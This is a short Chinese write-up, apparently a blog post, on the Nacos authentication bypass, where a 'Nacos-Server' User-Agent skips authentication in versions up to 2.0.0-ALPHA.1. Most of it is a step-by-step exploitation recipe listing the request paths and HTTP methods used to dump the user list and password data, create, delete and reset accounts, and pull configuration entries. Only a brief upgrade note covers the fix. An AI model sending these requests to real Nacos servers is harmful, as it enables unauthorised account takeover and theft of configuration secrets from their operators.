Nacos 漏洞利用
1.漏洞描述:
Alibaba Nacos是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在Nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本:
Nacos <= 2.0.0-ALPHA.1
在某处漏洞挖掘过程中发现了该漏洞,于是记录一下如何利用该漏洞
2.漏洞利用
1.访问出现以下界面,大概率会出现以下漏洞
2.1获取已有的用户列表的账号和密码
在路径后面加上/nacos/v1/auth/users?pageNo=1&pageSize=9
可以获取到已有的用户名和密码,如图
2.2任意用户添加
更改提交方式为POST
, 访问/nacos/v1/auth/users?test111username=test111&password=123456
新建一个账号test111,可以看到创建用户成功,如图
使用该账号可以发现登录成功,如图
2.3任意用户删除
更改提交方式为DELETE
, 访问DELETE /nacos/v1/auth/users?username=test111
可以看到用户删除成功,如图
2.4用户密码重置
更改提交方式为PUT,
访问 /nacos/v1/auth/users?accessToken=&username=test111&newPassword=test222
可以看到用户密码更新成功,如图
2.5配置信息泄露
在路径后面加上:nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
3.漏洞修复
升级Nacos版本至最新版本。